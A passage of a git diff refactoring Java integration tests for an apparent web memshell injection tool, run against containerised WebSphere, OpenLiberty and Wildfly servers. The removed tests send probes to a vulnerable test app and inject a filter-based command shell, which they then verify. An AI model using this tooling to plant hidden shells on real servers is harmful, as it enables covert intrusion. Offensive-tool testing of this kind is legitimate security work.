a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty20ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty20ContainerTest.java @@ -1,107 +1,39 @@ package com.reajason.javaweb.integration.probe.websphere; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; import java.time.Duration; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author ReaJason * @since 2024/12/21 */ @Testcontainers -@Slf4j -public class OpenLiberty20ContainerTest { - public static final String imageName = "open-liberty:20.0.0.12-full-java8-openj9"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/config/dropins/app.war") - .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) - .withExposedPorts(9080) - .withPrivilegedMode(true); - - @AfterAll - public static void tearDown() { - System.out.println(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|1.8.0_292|52", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.WebSphere, data); - } +public class OpenLiberty20ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrlFromWAS(container); - ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrlFromWAS(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:20.0.0.12-full-java8-openj9") + .expectedJdkVersion("JRE|1.8.0_292|52") + .targetJdkVersion(Opcodes.V1_8) + .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .privilegedMode(true) + .build(); + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrlFromWAS(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); - log.info(data); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty22ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty22ContainerTest.java index 5d7ea706..e9510099 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty22ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty22ContainerTest.java @@ -1,106 +1,39 @@ package com.reajason.javaweb.integration.probe.websphere; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; import java.time.Duration; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author ReaJason * @since 2024/12/21 */ @Testcontainers -@Slf4j -public class OpenLiberty22ContainerTest { - public static final String imageName = "open-liberty:22.0.0.12-full-java11-openj9"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/config/dropins/app.war") - .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) - .withExposedPorts(9080) - .withPrivilegedMode(true); - - @AfterAll - public static void tearDown() { - System.out.println(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|11.0.19|55", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.WebSphere, data); - } +public class OpenLiberty22ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrlFromWAS(container); - ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrlFromWAS(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:22.0.0.12-full-java11-openj9") + .expectedJdkVersion("JRE|11.0.19|55") + .targetJdkVersion(Opcodes.V1_8) + .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .privilegedMode(true) + .build(); + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrlFromWAS(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java index 6221402a..bec807c7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/OpenLiberty25ContainerTest.java @@ -1,110 +1,39 @@ package com.reajason.javaweb.integration.probe.websphere; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; -import org.testcontainers.containers.BindMode; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; import java.time.Duration; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author ReaJason * @since 2024/12/21 */ @Testcontainers -@Slf4j -public class OpenLiberty25ContainerTest { - public static final String imageName = "open-liberty:25.0.0.12-full-java17-openj9"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/config/dropins/app.war") - .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) - .withExposedPorts(9080) - .withPrivilegedMode(true); - - @AfterAll - public static void tearDown() { - System.out.println(container.getLogs()); - } - - @Test - void testJDK() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JRE|17.0.17|61", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.WebSphere, data); - } +public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest { - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrlFromWAS(container); - ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrlFromWAS(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9") + .expectedJdkVersion("JRE|17.0.17|61") + .targetJdkVersion(Opcodes.V1_8) + .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .privilegedMode(true) + .build(); + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrlFromWAS(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java index 87bc115d..80b86850 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere855ContainerTest.java @@ -1,109 +1,40 @@ package com.reajason.javaweb.integration.probe.websphere; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.AfterAll; -import org.junit.jupiter.api.Test; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; import java.time.Duration; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.anyOf; -import static org.hamcrest.CoreMatchers.startsWith; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author ReaJason * @since 2024/12/21 */ @Testcontainers -@Slf4j -public class WebSphere855ContainerTest { - public static final String imageName = "reajason/websphere:8.5.5.24"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") - .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) - .withExposedPorts(9080) - .withPrivilegedMode(true); - - @AfterAll - public static void tearDown() { - System.out.println(container.getLogs()); - } +public class WebSphere855ContainerTest extends AbstractProbeContainerTest { - @Test - void testJDK() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_371|52", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.websphere( + "reajason/websphere:8.5.5.24", + "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") + .expectedJdkVersion("JDK|1.8.0_371|52") + .targetJdkVersion(Opcodes.V1_8) + .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .build(); - @Test - void testServerDetection() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.WebSphere, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrlFromWAS(container); - ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrlFromWAS(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8); - } + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrlFromWAS(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java index ccfc8c4a..529fe6cc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere/WebSphere905ContainerTest.java @@ -1,104 +1,40 @@ package com.reajason.javaweb.integration.probe.websphere; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; import net.bytebuddy.jar.asm.Opcodes; -import org.junit.jupiter.api.Test; -import org.testcontainers.containers.BindMode; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; import java.time.Duration; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author ReaJason * @since 2024/12/21 */ @Testcontainers -@Slf4j -public class WebSphere905ContainerTest { - public static final String imageName = "reajason/websphere:9.0.5.17"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") - .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) - .withExposedPorts(9080) - .withPrivilegedMode(true); - - @Test - void testJDK() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.8.0_381|52", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } +public class WebSphere905ContainerTest extends AbstractProbeContainerTest { - @Test - void testServerDetection() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.WebSphere, data); - } - - @Test - @SneakyThrows - void testCommandReqHeaderResponseBody() { - String url = getUrlFromWAS(container); - ProbeAssertion.responseCommandIsOk(url, Server.WebSphere, Opcodes.V1_8); - } - - @Test - @SneakyThrows - void testBytecodeReqParamResponseBody() { - String url = getUrlFromWAS(container); - ProbeAssertion.responseBytecodeIsOk(url, Server.WebSphere, Opcodes.V1_8); - } + private static final ProbeTestConfig CONFIG = ProbeTestConfig.websphere( + "reajason/websphere:9.0.5.17", + "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") + .expectedJdkVersion("JDK|1.8.0_381|52") + .targetJdkVersion(Opcodes.V1_8) + .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .build(); + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrlFromWAS(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java index 937fa1bb..2b504611 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/websphere7/WebSphere700ContainerTest.java @@ -1,90 +1,42 @@ package com.reajason.javaweb.integration.probe.websphere7; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import com.reajason.javaweb.utils.CommonUtil; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; -import org.testcontainers.containers.BindMode; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; import java.time.Duration; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrlFromWAS; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.CoreMatchers.*; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.junit.jupiter.api.Assertions.assertEquals; /** * @author ReaJason * @since 2024/12/21 */ @Testcontainers -@Slf4j -public class WebSphere700ContainerTest { - public static final String imageName = "reajason/websphere:7.0.0.21"; - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") - .waitingFor(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) - .withExposedPorts(9080) - .withPrivilegedMode(true); - - @Test - void testJDK() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getJdkDetection()); - assertEquals("JDK|1.6.0|50", data); - } - - @Test - @SneakyThrows - void testBasicInfo() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getBasicInfoPrinter()); - Files.writeString(Paths.get("src", "test", "resources", "infos", this.getClass().getSimpleName() + "BasicInfo.txt"), data); - } - - @Test - void testServerDetection() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection()); - assertEquals(Server.WebSphere, data); - } +public class WebSphere700ContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig.websphere( + "reajason/websphere:7.0.0.21", + "/opt/IBM/WebSphere/AppServer/profiles/AppSrv01/monitoredDeployableApps/servers/server1/app.war") + .expectedJdkVersion("JDK|1.6.0|50") + .targetJdkVersion(Opcodes.V1_6) + .supportsCommand(false) + .supportsBytecode(false) + .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) + .build(); + @Container + public static final GenericContainer container = buildContainer(CONFIG); - @Test - void testFilterProbe() { - String url = getUrlFromWAS(container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); - ShellAssertion.assertFilterProbeIsRight(data); + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; } - @Test - void testFilterFirstInject() { - String url = getUrlFromWAS(container); - MemShellResult memShellResult = shellInjectIsOk(url, Server.WebSphere, ShellType.FILTER, ShellTool.Command, Opcodes.V1_6, Packers.BigInteger, container); - String data = VulTool.post(url + "/b64", FilterProbeFactory.getBase64ByServer(Server.WebSphere)); - List filter = ProbeAssertion.getFiltersForContext(data, "/app"); - String filterName = ProbeAssertion.extractFilterName(filter.get(0)); - assertEquals(filterName, memShellResult.getShellClassName()); + @Override + protected GenericContainer getContainer() { + return container; } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java index 6b8142e0..ca0186c2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/wildfly/Wildfly18ContainerTest.java @@ -1,99 +1,35 @@ package com.reajason.javaweb.integration.probe.wildfly; -import com.reajason.javaweb.Server; -import com.reajason.javaweb.integration.ProbeAssertion; -import com.reajason.javaweb.integration.ShellAssertion; -import com.reajason.javaweb.integration.VulTool; -import com.reajason.javaweb.integration.probe.DetectionTool; -import com.reajason.javaweb.memshell.MemShellResult; -import com.reajason.javaweb.memshell.ShellTool; -import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.packer.Packers; -import com.reajason.javaweb.probe.payload.FilterProbeFactory; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.junit.jupiter.api.Test; -import org.objectweb.asm.Opcodes; +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; import org.testcontainers.containers.GenericContainer; -import org.testcontainers.containers.wait.strategy.Wait; import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.List; - -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.warFile; -import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; -import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.*; -import static org.junit.jupiter.api.Assertions.assertEquals; - /** * @author ReaJason * @since 2024/12/10 */ -@Slf4j @Testcontainers -public class Wildfly18ContainerTest { - public static final String imageName = "jboss/wildfly:18.0.1.Final"; - @Container - public static final GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/opt/jboss/wildfly/standalone/deployments/app.war") - .waitingFor(Wait.forHttp("/app")) - 